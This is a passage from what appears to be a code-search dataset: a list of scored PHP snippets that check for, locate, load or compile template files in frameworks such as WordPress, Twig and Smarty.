templateExists($template);", "title": "" }, { "docid": "1034401fbdfe35c83ee4bb6822d31222", "score": "0.7501118", "text": "public function template_exists($template){\n $exists=false;\n $extension = $this->get_extension($template);\n $template .=(pathinfo($template, PATHINFO_EXTENSION)?'':$extension);\n if (isset($this->_engines[$extension]) && $this->_engines[$extension]->template_exists($template))\n $exists=true;\n return $exists;\n }", "title": "" }, { "docid": "cbcc125fb106c30988b2baf312bb0924", "score": "0.7490289", "text": "private function detectTemplateFile() {\r\n $this->templateFilePath = (file_exists(__DIR__ . '/' . $this->getName() . '.latte')) ? '/' . $this->getName() . '.latte' : self::DEFAULT_TEMPLATE;\r\n }", "title": "" }, { "docid": "995fc7be6caec3b81a1072f8791ebce7", "score": "0.7428078", "text": "public function hasTemplate() {\n if ($this->templateFileName == null)\n return false;\n return true;\n }", "title": "" }, { "docid": "0d86539564fb0f3d36620173f7b1aaf8", "score": "0.73845196", "text": "public function is_template_path_valid() {\n\t\treturn $this->has_template_file() && file_exists( $this->get_template_path() );\n\t}", "title": "" }, { "docid": "7ed7e2aefa40bb6469bfc570403b1130", "score": "0.727222", "text": "public function SCSSTemplateExists() {\n\t\treturn file_exists( $this->SCSSTemplate );\n\t}", "title": "" }, { "docid": "5f7ce266843c4cd2f91f0f4e1523f354", "score": "0.72709435", "text": "public function hasTemplate() {\n\t\treturn TRUE;\n\t}", "title": "" }, { "docid": "cd4d64f9e7a8b0cf83fcb9d41bec55f2", "score": "0.72672224", "text": "private function verifyTemplate() {\n\t\t$template = $this->template_dir.$this->template;\n\t\tif (!file_exists($template)) {\n\t\t\tthrow new VCDProgramException('Template \"' . $this->template . '\" is missing.');\n\t\t}\n\t}", "title": "" }, { "docid": "3459375a0290f77de824cb5c63599019", "score": "0.7253608", "text": "public function hasTemplate($name)\r\n {\r\n $file = $this->findTemplate($name);\r\n if(is_array($file) && count($file)>0)\r\n return $file[0];\r\n else\r\n return false;\r\n }", "title": "" }, { "docid": "9fb89796b99742fab6adc4d21c8c3596", "score": "0.7253481", "text": "public function check_is_file( $template ='' ) {\n\t\t$filename = dirname(dirname(__FILE__)).'/views/'.$template;\n\t\tif(is_file($filename)){\n\t\t\treturn TRUE;\n\t\t}else{\n\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "53662654016c43de8cbcdb729984f0e4", "score": "0.7246994", "text": "private function templateExists(string $template): bool\n {\n $loader = $this->templating->getLoader();\n if ($loader instanceof ExistsLoaderInterface || method_exists($loader, 'exists')) {\n return $loader->exists($template);\n }\n\n try {\n $loader->getSourceContext($template)->getCode();\n\n return true;\n } catch (LoaderError $e) {\n }\n\n return false;\n }", "title": "" }, { "docid": "fa5b06238e4f2fc4e3961670a03b7ed0", "score": "0.71796143", "text": "public function templateExists($template)\n {\n if (realpath($template))\n $file = $template;\n else\n $file = $this->template_dir. DIRECTORY_SEPARATOR .$template;\n\n return file_exists($file);\n }", "title": "" }, { "docid": "bedefbb9da0791d45e2b4952fc9cf83b", "score": "0.71161824", "text": "public function checkIfTemplateFileExists($template_file) {\n $file = $this->scaffolder->getTemplatedir() . $template_file . '.twig';\n return Utils::fileNotEmpty($file);\n }", "title": "" }, { "docid": "c9a249634ecc12036d721672548d879a", "score": "0.71149457", "text": "function yuliza_support_user_files_sent()\r{\r $file = get_template_directory() . '-child/inc/universal-tax-user-files-sent.php';\r if (file_exists($file)) {\r require get_template_directory() . '-child/inc/universal-tax-user-files-sent.php';\r } else {\r echo \"not exist\";\r }\r}", "title": "" }, { "docid": "f4f3803b20783ef3cf5ccd1f5b2ed1d7", "score": "0.7082232", "text": "public function testTemplateFileDoesntExistException() \n {\n $smartyEngine = new SmartyEngine();\n $smartyEngine->setTemplateFileName('/pass/to/fake/template/file.tpl');\n $smartyEngine->render();\n }", "title": "" }, { "docid": "5e59f8fdc7826434d7a174d5dca60895", "score": "0.7021323", "text": "public function locate_template( $template ) {\n\n $path = $this->plugin_dir . 'gr-templates/' . $template;\n\n if ( is_file( $path ) && file_exists( $path ) ) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "6a28a95523febb43ff713e93d4d63d03", "score": "0.7015332", "text": "private function checkExist($templateName)\n\t{\n\t\t\tif(!file_exists(POLL_THEME_DIR.\"templates/\".$templateName.\".tpl\"))\n\t\t\t{\n\t\t\t\techo \"Fatal error!\n\t\t\t\t<code>$templateName.tpl</code> does not exist!\";\n\t\t\t\texit;\n\t\t\t}\n\t}", "title": "" }, { "docid": "4c746fab84222a9b4d050793f52bd780", "score": "0.6878679", "text": "protected function check_template($tpl_name)\n { \n \n $tpl_path=$this->style_GetTemp($tpl_name,true);\n \n \n $compiled_file_name=$this->cache_dir.DIRECTORY_SEPARATOR.$tpl_name.'.'.md5($tpl_path).'.stl'.'.php';\n // dd($tpl_path);\n\n $this->cache($compiled_file_name); //check cache file is expired or not \n \n // file doesn't exsist, or the template was updated, styleengine will compile the template\n \n if(!file_exists($tpl_path) )\n {\n\n throw new ViewNotFoundException('Template'.' '.'<b>'.$tpl_name.'</b>'.' Not Found Please Check template <b>template path not resloved:<b> '.$tpl_path);\n \n\n }\n\n if( !file_exists( $compiled_file_name ) || filemtime($compiled_file_name) < filemtime( $tpl_path ) )\n { \n $this->compile_File($tpl_name,$compiled_file_name);\n\n return true;\n }\n \n return null;\n }", "title": "" }, { "docid": "3ef1dbea65e24c8c32f75cc94001dd73", "score": "0.685146", "text": "public function testThrowsExceptionIfTemplateFileNotFound()\n\t{\n\t\t$this->template->setInputValue('content', 'example content');\n\t\t$this->template->setTemplateFilename('incorrect-filename.php');\n\t\t$this->template->getOutput();\n\t}", "title": "" }, { "docid": "a90dda5e29d47d42177cc9a940ec101a", "score": "0.68346727", "text": "public function getTemplate()\n {\n $format = '%s/usererror.%s.php';\n\n if (file_exists($template = sprintf($format, WORKSPACE . '/template', $this->_template))) {\n return $template;\n } elseif (file_exists($template = sprintf($format, TEMPLATE, $this->_template))) {\n return $template;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "6842bdfab4393263b6c90def1cbdd2e4", "score": "0.6813826", "text": "function yuliza_support_user_files()\r{\r $file = get_template_directory() . '-child/inc/universal-tax-user-files.php';\r if (file_exists($file)) {\r require get_template_directory() . '-child/inc/universal-tax-user-files.php';\r } else {\r echo \"not exist\";\r }\r}", "title": "" }, { "docid": "3675b3d76ad27aca00f9feece691e6a2", "score": "0.6753416", "text": "public function checkTemplatePath($templateName)\r\n {\r\n $fullPath = $this->_templatesPath . $templateName;\r\n return is_file($fullPath) && is_readable($fullPath);\r\n }", "title": "" }, { "docid": "64621a6ee47cc98dfa24a74862cfb75c", "score": "0.6717075", "text": "public function HasTemplate() {\r\n return false;\r\n }", "title": "" }, { "docid": "b5bf778618dc0bf391605a956c4f5781", "score": "0.67034876", "text": "public function exists($tpl_file, $_ROOT_DIR = false){\r\n\r\n\t\t// check for init templator\r\n\t\tif ($this->_commonTemplator == null)\r\n\t\t\t$this->initTemplator($this->_p->getVar('templator'));\r\n\t\t\r\n\t\tif (!$_ROOT_DIR)\r\n\t\t\t$_ROOT_DIR = $this->_commonTemplator->getTemplateDirs();\r\n\r\n if (!is_array($_ROOT_DIR))\r\n $_ROOT_DIR = array($_ROOT_DIR);\r\n\r\n $base_path = null;\r\n foreach ($_ROOT_DIR as $dir){\r\n if (file_exists($dir.WEBT_DS.$tpl_file)){\r\n return true;\r\n }\r\n }\r\n\r\n if (file_exists($tpl_file)) {\r\n return true;\r\n }\r\n\r\n\t\treturn false;\r\n\t\r\n\t}", "title": "" }, { "docid": "868db611e45530858cac6b8a7cbc72ff", "score": "0.6696342", "text": "function templateExists($resource_name)\n { \n // create template object\n $save = $this->template_objects;\n $tpl = new $this->template_class($resource_name, $this); \n // check if it does exists\n $result = $tpl->isExisting();\n $this->template_objects = $save;\n return $result;\n }", "title": "" }, { "docid": "dc08847c88ecc1bf1c2722bdc473aae0", "score": "0.6686191", "text": "function yuliza_support_user_messages()\r{\r $file = get_template_directory() . '-child/inc/universal-tax-user-messages.php';\r if (file_exists($file)) {\r require get_template_directory() . '-child/inc/universal-tax-user-messages.php';\r } else {\r echo \"not exist\";\r }\r}", "title": "" }, { "docid": "7b5c0d49e64455f065b67eb4497205ad", "score": "0.6683032", "text": "public function hasTemplate(): bool\n\t{\n\t\treturn $this->template !== null;\n\t}", "title": "" }, { "docid": "0d2ea0bc98135d02b65627619421a559", "score": "0.6666531", "text": "public function exists($name)\n {\n try\n {\n $this->findTemplate($name);\n\n return true;\n }\n catch (\\Exception $ex)\n {\n return false;\n }\n }", "title": "" }, { "docid": "fcc9cc0caa8f89744b9cd797335b220b", "score": "0.6660218", "text": "function check_file($filename) {\n\t//Check if the user has been logged in before. If not it creates templates for them.\n\tif (!file_exists($filename)) {\n\t\tob_start();\n\t\t\n\t\t//echo $filename . ' does not exist - will create<br>';\n\t\t$url = 'template.php';\n\t\t\n\t\t//echo $url . '<br>';\n\t\t$handle = fopen($filename, \"w+\") or die('Cannot open file: '.$filename);\n\t\t$source = file_get_contents($url);\n\t\t//echo 'this is source of file to be written: ' . $source . '<br>';\n\t\tfwrite($handle, $source);\n\t\tob_flush();\n\t\tfclose($handle);\n\t}\n\treturn 1;\n}", "title": "" }, { "docid": "ee332f9633cdcaa2efbbe038e932de8d", "score": "0.6630631", "text": "public function exists($name)\n {\n return !!$this->findTemplateFile($name);\n }", "title": "" }, { "docid": "b7ce2e1f28e57fd013d3cc388386268d", "score": "0.659747", "text": "function yuliza_support_user()\r{\r $file = get_template_directory() . '-child/inc/universal-tax-user.php';\r if (file_exists($file)) {\r require get_template_directory() . '-child/inc/universal-tax-user.php';\r } else {\r echo \"not exist\";\r }\r}", "title": "" }, { "docid": "37469c4fbaae0185806b7c203f867e27", "score": "0.65914387", "text": "public function hasTemplate()\n\t{\n\t\treturn $this->templateName && $this->templateGroup;\n\t}", "title": "" }, { "docid": "8feac2f7c93ce5dd8c3540b247c7ea56", "score": "0.6588797", "text": "private function scriptFileExists()\n\t{\n\t\treturn(file_exists(CFirewall::SCRIPT_FILE));\n\t}", "title": "" }, { "docid": "cc30e7bbd2a7c1c598f156649f7ed713", "score": "0.6561924", "text": "public static function getTemplate($name)\n {\n $format = '%s/%s.tpl';\n\n if (!ExceptionHandler::$enabled && php_sapi_name() !== 'cli') {\n if (!file_exists($template = sprintf($format, TEMPLATE, 'fatalerror.disabled'))) {\n return false;\n }\n return $template;\n } elseif (file_exists($template = sprintf($format, WORKSPACE . '/template', $name))) {\n return $template;\n } elseif (file_exists($template = sprintf($format, TEMPLATE, $name))) {\n return $template;\n }\n return false;\n }", "title": "" }, { "docid": "5af9a74f698c0d248ca7a28256576e3c", "score": "0.6561592", "text": "function bbppt_locate_template( $template_name, $load = false ) {\r\n\t\r\n\t$located = '';\r\n\tif( $located = locate_template( apply_filters( 'bbppt_template_name', '/bbpress/' . $template_name, $template_name ) ) ) {\r\n\t\t\r\n\t} else if( file_exists( dirname( __FILE__ ) . '/templates/' . $template_name ) ) {\r\n\t\t$located = dirname( __FILE__ ) . '/templates/' . $template_name;\r\n\t}\r\n\t\r\n\tif( $load && $located && $located != '' ) {\r\n\t\tload_template( $located );\r\n\t}\r\n\treturn $located;\r\n}", "title": "" }, { "docid": "a47645cde9af41f621ca9d2de3ed1408", "score": "0.6542972", "text": "public function isTemplate();", "title": "" }, { "docid": "ef8cf6af04e4f123fc876c9c7d9ed660", "score": "0.649508", "text": "public function checkThatEnvTemplateExists()\n {\n if (! $this->files->exists('env.php')) {\n throw new Exception('No env.php template found.');\n }\n }", "title": "" }, { "docid": "3ff650f9938e517bfb35ec6811dddaa4", "score": "0.64937454", "text": "function aiosc_load_template($template_name,$can_extend=false) {\n $file = aiosc_get_template_path($template_name, $can_extend);\n if(empty($file)) return '';\n\n if(file_exists($file)) {\n ob_start();\n @include $file;\n return ob_get_clean();\n }\n return '';\n}", "title": "" }, { "docid": "361420259e2f6d5074bdea71e15057f2", "score": "0.64579666", "text": "function install_template($param) {\r\n if (!is_install_template($param)) {\r\n \r\n }\r\n}", "title": "" }, { "docid": "403f2e988ea9c69f46b327a527f32d58", "score": "0.6457429", "text": "public function templateExists($template_name)\n {\n if (! isset($template_name) || empty($template_name) || ! $this->files->exists($this->templates_dir . '/' . $template_name)) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "24c7e0cef9a068f4e7539ba65b1e8da5", "score": "0.64503956", "text": "function zt_is_js_template() {\n\treturn defined( 'ZT_IS_JS_TEMPLATE' ) && ZT_IS_JS_TEMPLATE;\n}", "title": "" }, { "docid": "2534e56230b982f53f8895e67337605b", "score": "0.64406705", "text": "function get_template_file($default_template) {\n\t\tif(!$this->name_unclean) return false;\n\t\t// find the name of the text file\n\t\tpreg_match('/\\/([^\\/]+?)\\.txt/', $this->content_file, $template_name);\n\t\t// if template exists, return it\n\t\tif(!empty($template_name) && file_exists('../templates/'.$template_name[1].'.html')) return '../templates/'.$template_name[1].'.html';\n\t\t// return content.html as default template (if it exists)\n\t\telseif(file_exists('../templates/'.$default_template.'.html')) return '../templates/'.$default_template.'.html';\n\t\telse return false;\n\t}", "title": "" }, { "docid": "b48cd0f044e61a755d77819eb45c6df7", "score": "0.64261353", "text": "function isPageExists($page)\n{\n $fileName = PAGES_PATH . \"/{$page}.php\";\n return file_exists($fileName)\n && is_readable($fileName);\n\n}", "title": "" }, { "docid": "1e05e4c7662eb429c5efb3a39314c627", "score": "0.64185894", "text": "private function javascript_exists( string $file ) : bool {\n\n return \\filter_var( $file , FILTER_VALIDATE_URL ) || \\file_exists( \\get_template_directory() . $file ) ? true : false;\n\n }", "title": "" }, { "docid": "060d6c278f3741a48717d0c4b2fe010d", "score": "0.6407521", "text": "function find_template (){\n global $cPath;\n\t\n\t// If no cPath defined, then we are on the main page. Code modified in v1.0.3, was not working before.\n\tif (tep_not_null($cPath)) $sts_cpath=$cPath; \n\t else $sts_cpath='0';\n\n\t// Added in v1.0.2: check for a specific manufacturer template\n\tif (isset($_GET['manufacturers_id'])) {\n\t $check_file = STS_TEMPLATE_DIR . \"index.php_mfr_\".$_GET['manufacturers_id'].\".html\";\n if (file_exists($check_file)) {\n // Use it\n\t\t$this->template_file = $check_file;\n\t\treturn $check_file;\n }\t \n\t}\n\t\t\n\t// Added in v1.0.2: check for a general manufacturer template\n\tif (isset($_GET['manufacturers_id'])) {\n\t $sts_cpath = \"mfr\"; // This template will be checked during the next loop.\n\t}\n \n\t// Check if template for this category exists\n $check_file = STS_TEMPLATE_DIR . \"index.php_$sts_cpath.html\";\n if (file_exists($check_file)) {\n // Use it\n\t $this->template_file = $check_file;\n\t return $check_file;\n\t \n\t}\n\t\n\t// Check parent categories templates if configured so in admin. Option since v1.0.3\n\tif (MODULE_STS_INDEX_PARENT=='true') {\n\t $sts_cpath = substr($sts_cpath, 0, (strrpos($sts_cpath, \"_\")));\n\t while ($sts_cpath != \"\") {\n // Look for category-specific template file like \"index.php_1_17.html\", then \"index.php_1.html\n $check_file = STS_TEMPLATE_DIR . \"index.php_$sts_cpath.html\";\n if (file_exists($check_file)) {\n // Use it\n\t\t $this->template_file = $check_file;\n\t\t return $check_file;\n }\n\t $sts_cpath = substr($sts_cpath, 0, (strrpos($sts_cpath, \"_\")));\n\t } //end while\n\t}\n\n\t// No specific template for this category or its parents. Is there one for all categories?\n\t$check_file = STS_TEMPLATE_DIR . \"index.php.html\";\n\tif (file_exists($check_file)) return $check_file;\n\t\n\t// No specific template found, use default template\n\treturn STS_DEFAULT_TEMPLATE;\n\t\n }", "title": "" }, { "docid": "73f5635ff4eb732a62903c9bcf6c2f19", "score": "0.6395901", "text": "private function getTemplateFile()\n {\n $projectTemplate = 'template/' . $this->template . '.latte';\n $inheritedTemplate = 'vendor/workofstan/mycms/' . $projectTemplate;\n return file_exists($projectTemplate) ? $projectTemplate : $inheritedTemplate;\n }", "title": "" }, { "docid": "6dc44e9859622a43e078cb583628aca6", "score": "0.63860285", "text": "public function isValid(): bool\n {\n try {\n $this->twig->loadTemplate($this->filename);\n return true;\n } catch (\\Twig_Error_Loader $e) {\n return false;\n }\n }", "title": "" }, { "docid": "7b6c84b6f86a35a9d7bc32adf83ba148", "score": "0.638309", "text": "public function isTemplateStart(): bool {}", "title": "" }, { "docid": "7300428e39927aa790b053b968dc60fb", "score": "0.63688403", "text": "public function existPage() {\n\t\treturn file_exists( $this->getCompletePath() );\n\t}", "title": "" }, { "docid": "ab4e91dc539243dc0bb6e4e6ae8a98e6", "score": "0.63599336", "text": "function template( $type ) {\n\t$files = array(\n\t\t'header' => ABSPATH . '/parts/header.php',\n\t\t'footer' => ABSPATH . '/parts/footer.php',\n\t\t'menu' => ABSPATH . '/parts/menu.php',\n\t\t'breadcrumb' => ABSPATH . '/parts/breadcrumb.php',\n\t\t'add-new-hosts' => ABSPATH . '/parts/add-new-hosts.php',\n\t);\n\n\tif ( isset( $files[ $type ] ) ) {\n\t\trequire $files[ $type ];\n\t\treturn true;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "2997f7298753e0e7873f9956a461e507", "score": "0.6357199", "text": "function template($path) {\n global $_CUSTOM_TEMPLATE_PATTERNS,$_CUSTOM_TEMPLATE_REPLACEMENTS;\n \n $dPath = dirname($path);\n if($dPath){\n $dPath = $dPath.\"/\";\n }\n $file = $dPath.\"_cache/template/\" . basename($path);\n \n if (!file_exists($file) || (file_exists($file) && filectime($path)>filectime($file))) {\n \n $dir = dirname($file);\n if (!file_exists($dir)){\n mkdir($dir, 0777, true);\n }\n \n $fp = fopen($path, 'r');\n $fz = filesize($path);\n \n if ($fz) {\n $theData = fread($fp, filesize($path));\n $rSlot = \" *([^}]+)\";\n $patterns = array(\n \"/\\{include:$rSlot\\}/\",\n \"/\\{for:$rSlot *;$rSlot *;$rSlot\\}/\",\n \"/\\{\\/for\\}/\",\n \"/\\{while:$rSlot\\}/\",\n \"/\\{\\/while}/\",\n \"/\\{echo:$rSlot\\}/\",\n \"/\\{e:$rSlot\\}/\",\n \"/\\{if:$rSlot\\}/\",\n \"/\\{\\/if\\}/\",\n \"/\\{elseif:$rSlot\\}/\",\n \"/\\{else\\}/\",\n \"/\\{([\\$][^}]+) +as +([^}]+)\\}/\",\n \"/\\{([\\$][^}]+) +default +([^}]+)\\}/\",\n \"/\\{([\\$][^}]+) +nl2br *\\}/\",\n \"/\\{([\\$][^}]+) *= *([^}]+)\\}/\",\n \"/\\{([\\$][^}]+)\\+\\+[^}]*}/\",\n \"/\\{([\\$][^\\+\\-\\*\\/}]+)\\}/\",\n \"/\\{([\\$][^}]+)\\}/\",\n \"/\\{langtext:$rSlot\\}/i\",\n \"/\\{l:$rSlot\\}/\",\n \"/include(_once)* +[\\\"'](..\\/)*include\\/template.php[\\\"'] *;/\",\n \"/\\{foreach: *\\\\$([^}]+) +as +$rSlot +counter:$rSlot\\}/\",\n \"/\\{foreach: *\\\\$([^}]+) +as +$rSlot *\\}/\",\n \"/\\{foreach:$rSlot +as +$rSlot +counter:$rSlot\\}/\",\n \"/\\{foreach:$rSlot +as +$rSlot *\\}/\",\n \"/\\{\\/foreach}/\",\n \"/\\{\\*$rSlot\\*\\}/\",\n \"/\\{break\\}/\",\n \"/\\{continue\\}/\",\n \"/\\{auth:$rSlot\\}/\",\n \"/\\{\\/auth\\}/\",\n \"/\\{authcheck:$rSlot\\}/i\",\n \"/\\{inpage:$rSlot\\}/i\",\n \"/\\{\\/inpage\\}/i\",\n \"/\\{pagecssjs\\}/i\",\n \"/\\{$rSlot.php\\}/i\",\n \"/\\{$rSlot.css\\}/i\",\n \"/\\{$rSlot.js\\}/i\",\n \"/\\{viewport375}/i\",\n \"/\\{viewportmobile}/i\",\n \"/\\{@:$rSlot counter:$rSlot\\}/i\",\n \"/\\{@:$rSlot\\}/i\",\n \"/\\{\\/@\\}/i\"\n );\n \n $replacements = array(\n \n \"<?php include(template(\\\"\\\\1\\\"));?>\",\n \"<?php for(\\\\1;\\\\2;\\\\3){ ?>\",\n \"<?php }?>\",\n \"<?php while(\\\\1){ ?>\",\n \"<?php }?>\",\n \"<?php echo \\\\1; ?>\",\n \"<?php echo \\\\1; ?>\",\n \"<?php if(\\\\1){?>\",\n \"<?php }?>\",\n \"<?php }elseif(\\\\1){ ?>\",\n \"<?php }else{ ?>\",\n \"<?php echo explode('|',\\\"\\\\2\\\")[\\\\1];?>\",\n \"<?php e(\\\\1,\\\\2); ?>\",\n \"<?php enl2br(\\\\1);?>\",\n \"<?php \\\\1=\\\\2; ?>\",\n \"<?php \\\\1++;?>\",\n \"<?php e(\\\\1);?>\",\n \"<?php echo \\\\1;?>\",\n \"<?php echo l(\\\"\\\\1\\\") ?>\",\n \"<?php echo l(\\\"\\\\1\\\") ?>\",\n \"\",\n \"<?php if(isset($\\\\1)){\\\\3=-1;foreach($\\\\1 as \\\\2){\\\\3++?>\",\n \"<?php if(isset($\\\\1)){foreach($\\\\1 as \\\\2){?>\",\n \"<?php {\\\\3=-1;foreach(\\\\1 as \\\\2){\\\\3++?>\",\n \"<?php {foreach(\\\\1 as \\\\2){?>\",\n \"<?php }}?>\",\n \"\",\n \"<?php break; ?>\",\n \"<?php continue; ?>\",\n \"<?php if(authGet(\\\"\\\\1\\\")){ ?>\",\n \"<?php } ?>\",\n \"<?php authCheck('\\\\1'); ?>\",\n \"<?php if(inPage(\\\"\\\\1\\\")){ ?>\",\n \"<?php } ?>\",\n \"<?php _includePageCSSJS(); ?>\",\n \"<?php include(template(\\\"\\\\1.php\\\"));?>\",\n \"<?php _includeCSS(\\\"\\\\1.css\\\"); ?>\",\n \"<?php _includeJS(\\\"\\\\1.js\\\"); ?>\",\n \"<meta name='viewport' content='width=375,user-scalable=no'>\",\n \"<?php _viewportMobile(); ?>\",\n \"<?php if(isset(\\\\1)){\\\\2=-1;foreach(\\\\1 as \\$__data__){\\n \\\\2++; foreach(\\$__data__ as \\$__k=>\\$__v) { \\$GLOBALS[\\$__k] = \\$__v; }?>\",\n \"<?php if(isset(\\\\1)){foreach(\\\\1 as \\$__data__){\\n foreach(\\$__data__ as \\$__k=>\\$__v) { \\$GLOBALS[\\$__k] = \\$__v; }?>\",\n \"<?php }}?>\"\n );\n \n $theData = preg_replace($patterns, $replacements, $theData);\n \n //暂时关闭自定义标签功能\n //$theData = preg_replace($_CUSTOM_TEMPLATE_PATTERNS, $_CUSTOM_TEMPLATE_REPLACEMENTS, $theData);\n \n }else {\n $theData = \"\";\n }\n fclose($fp);\n writeToFile($file, $theData);\n //chmod($file, 0777);\n }\n return $file;\n}", "title": "" }, { "docid": "5de830fbbb0a6982bcab528e1fc8a40f", "score": "0.63403755", "text": "public function ajax_load_template() {\n\t\tglobal $wp_filesystem;\n\n\t\t$url = wp_nonce_url( 'edit.php?post_type=page&page=caldera-pages', 'caldera-pages-template' );\n\t\t$creds = request_filesystem_credentials( $url, \"direct\", false, false, null );\n\t\t// now we have some credentials, try to get the wp_filesystem running\n\t\tif ( ! WP_Filesystem( $creds ) ) {\n\t\t\t// our credentials were no good, ask the user for them again\n\t\t\trequest_filesystem_credentials( $url, \"\", false, false, null );\n\t\t\treturn true;\n\t\t}\n\t\tif ( file_exists( plugin_dir_path( __FILE__ ) .'templates/'.basename( $_POST['template'] ).'.php' ) ) {\n\t\t\techo $wp_filesystem->get_contents( plugin_dir_path( __FILE__ ) .'templates/'.basename( $_POST['template'] ).'.php' );\n\t\t}else {\n\t\t\techo 'file not found';\n\t\t}\n\t\texit();\n\t}", "title": "" }, { "docid": "401bab72ddddc82ccc54cd93dcb7351f", "score": "0.63320714", "text": "function _maybe_static_index_html_file_exists()\n{\n if (file_exists(FCPATH . 'index.html') && is_admin()) {\n ?>\n <div class=\"col-md-12\">\n <div class=\"alert alert-danger\">\n <h4>Static <b>index.html</b> file detected in the CRM root directory!</h4>\n The system detected static <b>index.html</b> file in the CRM root directory (<?php echo FCPATH; ?>)\n <br />\n To prevent any unwanted results, you should delete the file <b>index.html</b> and leave only the core index.php file.\n </div>\n </div>\n <?php\n }\n}", "title": "" }, { "docid": "f97160df3922f1bbdc6c19a79f966fb4", "score": "0.632399", "text": "protected function _validTemplate($path) {\n\t\t$name = $this->_fileName($path);\n\t\treturn preg_match('/.+\\.(handlebars|hbs){1}/', $name) === 1;\n\t}", "title": "" }, { "docid": "1bc6c469287ada2c4fa5902723c40663", "score": "0.6307796", "text": "public function PHPFileExists() {\n\t\treturn file_exists( $this->PHPFile );\n\t}", "title": "" }, { "docid": "daee939ac0f049dc88aa321b0cd81744", "score": "0.62994987", "text": "public function validateTemplate()\n {\n $templates = $this->templates;\n\n if (!isset($templates[$this->template])) {\n $this->addError('template', 'Invalid template selection.');\n } else {\n $templateRoot = $this->templates[$this->template];\n foreach ($this->requiredTmplFiles() as $subDir => $tmpls) {\n foreach ($tmpls as $tmpl) {\n $filePath = sprintf('%s/%s/%s', $templateRoot, $subDir, $tmpl);\n\n if (!is_file($filePath)) {\n $this->addError('template', \"Unable to find the required code template file '$filePath'.\");\n }\n }\n }\n }\n }", "title": "" }, { "docid": "6d5bdfea8aaa9382a5ceac86571786a9", "score": "0.6294416", "text": "public function loadTemplate(){\n\t\t\n\t\t//First try if the template exists in the current theme directory\n\t\t$file = $_SERVER['DOCUMENT_ROOT'] . $this->getTemplatePath($this->template);\n\t\t\n\t\t//Get the output and return it\n\t\tob_start();\n\t\t\tinclude($file);\n\t\t\t$output = ob_get_contents();\n\t\t\t$output = $this->parseTemplate($output);\n\t\tob_end_clean();\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "94fa7cb0f68d4f72b87db73da4dbd71c", "score": "0.62850946", "text": "function the_file_exists($file)\n {\n if (empty($file)) {\n return false;\n }\n\n return file_exists(public_path() . $file);\n }", "title": "" }, { "docid": "082b4e91c0b048051d2ba82ed8156c53", "score": "0.6255851", "text": "function yuliza_support_mainpage()\r{\r $file = get_template_directory() . '-child/inc/included.php';\r if (file_exists($file)) {\r require get_template_directory() . '-child/inc/included.php';\r } else {\r echo \"not exist\";\r }\r}", "title": "" }, { "docid": "bc0de1c2c53a59ad735f73967799121b", "score": "0.6252449", "text": "public function loadPHPTemplate() {\n\t\tif ( $this->PHPTemplateExists() ) {\n\t\t\t$this->templatePHPContent = file_get_contents( $this->PHPTemplate );\n\t\t}\n\t}", "title": "" }, { "docid": "a5995a2a06eea29039d1cb1d5cbfec1b", "score": "0.62502176", "text": "public function findFile($path)\n\t{\n\t\t$template = JFactory::getApplication()->getTemplate();\n\t\t$override = JPATH_THEMES.'/'.$template.'/html';\n\t\t$override .= str_replace(array(JPATH_BASE.'/modules', JPATH_BASE.'/components', '/views'), '', $path);\n\n\t\t//Try to load the template override\n\t\t$result = parent::findFile($override);\n\n\t\tif($result === false)\n\t\t{\n\t\t\t//If the path doesn't contain the /tmpl/ folder add it\n\t\t\tif(strpos($path, '/tmpl/') === false) {\n\t\t\t\t$path_tmpl = dirname($path).'/tmpl/'.basename($path);\n\t\t\t\tif(parent::findFile($path_tmpl)) return $path_tmpl;\n\t\t\t}\n\n\t\t\t$result = parent::findFile($path);\n\t\t}\n\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "abcb9e0ee31f7666f03e999d52f19025", "score": "0.624424", "text": "private function template($path = '') {\n if ($path != '') {\n // Normalize the directory separator.\n $path = AdaFile::normalizePath($path);\n\n // Clean the path beginning.\n $path = str_start_clear($path, ['/', '\\\\', '.']);\n\n // Add a slash to end the path if he does not have one.\n $path = str_finish($path, '/');\n }\n\n // If the template is null, $templateName will take the value 'default'.\n if (! $this->templateName = $this->template) {\n $this->templateName = 'default';\n }\n\n $this->templatePath = dirname(__FILE__) . \"/../Templates/Requests/{$path}{$this->templateName}$this->templateExtention\";\n\n return TRUE;\n }", "title": "" }, { "docid": "0a3430e7b5d2e7ed5d49d89341091c52", "score": "0.6228857", "text": "function relative_path_to_template(){\n $template_path = ROOT . '/' . $this->template_identifier;\n $template_path = (substr($template_path, -5) == '.html') ? $template_path : $template_path . '.html';\n if(!file_exists($template_path)){\n trigger_error('Template::relative_path_to_template(): Template file missing', E_USER_ERROR);\n }\n return str_replace(ROOT, '', realpath($template_path));\n }", "title": "" }, { "docid": "5183f5cebeafa2762df40c71461867dd", "score": "0.6222689", "text": "function include_php_file()\n{\n $file = locate_template('page-2281.php');\n\n // Check if file is found.\n if ($file) {\n // Return file contents.\n ob_start();\n include $file;\n return ob_get_clean();\n }\n\n return '';\n}", "title": "" }, { "docid": "485b800f22fdc230373684a261a45731", "score": "0.6207167", "text": "function locate_template($template_names)\n{\n $template_names = filter_templates($template_names);\n\n $located = '';\n foreach ( (array) $template_names as $template_name ) {\n if ( ! $template_name ) {\n continue;\n }\n\n if ( file_exists( STYLESHEETPATH . '/' . $template_name ) ) {\n $located = STYLESHEETPATH . '/' . $template_name;\n break;\n } elseif ( file_exists( TEMPLATEPATH . '/' . $template_name ) ) {\n $located = TEMPLATEPATH . '/' . $template_name;\n break;\n } elseif ( file_exists( $file = get_vendor_theme_file_path($template_name) ) ) {\n $located = $file;\n break;\n } elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {\n $located = ABSPATH . WPINC . '/theme-compat/' . $template_name;\n break;\n }\n }\n\n return $located;\n}", "title": "" }, { "docid": "a19c6a1bf1d59fa02f43c0285220d009", "score": "0.6194667", "text": "public function getTemplate($name = \"default\"){\n\n\t if( $template = file_get_contents( $this->directorio.\"templates/$name.php\") ){\n\t\t\t$template = $this->setInfo($template);\n\t\t return $template;\n\t }else{\n\t\t echo 'no se pudo obtener el template';\n\t }\n return false;\n }", "title": "" }, { "docid": "79e849ce89d44ee73a5a0138a79d959c", "score": "0.61919254", "text": "public function fileExists();", "title": "" }, { 